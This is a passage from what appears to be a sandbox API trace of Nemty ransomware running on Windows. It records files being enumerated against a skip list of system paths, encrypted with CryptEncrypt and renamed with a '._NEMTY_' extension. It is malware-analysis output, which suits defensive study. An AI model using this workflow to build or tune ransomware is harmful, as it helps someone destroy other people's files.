(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0118.651] Sleep (dwMilliseconds=0x5) [0118.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa60c050, dwHighDateTime=0x1d561e7)) [0118.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa60c050, dwHighDateTime=0x1d561e7)) [0118.667] GetLastError () returned 0x5 [0118.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.667] GetLastError () returned 0x5 [0118.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0118.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="NeuJD9ZFJgycKl1MwvA25gxkAy5zLLbbrB1m2kzYI+kkSmpRnzfWxR6JIr0D3kil\r\npLyr8I9kKML6lS7xoCBuMEIsmrsueg/wRO5m31I0DJqTDQQVj7fHh1c3L/SMMtxG\r\nJSi40sZpBMSZcN2FM8Nsmi+5qbQT1IJO8uqTXTUyxGusCct3RhJ7i00aHMnCB3nA\r\nbQ3Kud/KPN/f+KOqHX27t8y4cGSvVDu2QOLkwDGxCutNvWfIj40hj616jsiaf1j3\r\nZBdJ167kQk27p39mF0NzjPIrnC5IdMtOfm9T5uUlsISz/j162+BIGfA3IRAvLyKG\r\nDEG8tkHfe3SeFBupo+RwtQ==\r\n", pcchString=0x653e91c) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0118.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0118.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.668] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.676] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.794] CloseHandle (hObject=0xffffffff) returned 0 [0118.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0118.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0118.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_left.png._nemty_kgobjgd_")) returned 0 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.795] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="..") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="...") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="windows") returned -1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="$RECYCLE.BIN") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="rsa") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="NTDETECT.COM") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="ntldr") returned 1 [0118.795] lstrcmpiW (lpString1="settings_box_right.png", lpString2="MSDOS.SYS") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="IO.SYS") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="boot.ini") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="boot.ini") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="ntuser.dat") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="desktop.ini") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="CONFIG.SYS") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="RECYCLER") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="BOOTSECT.BAK") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="bootmgr") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="programdata") returned 1 [0118.796] lstrcmpiW (lpString1="settings_box_right.png", lpString2="appdata") returned 1 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 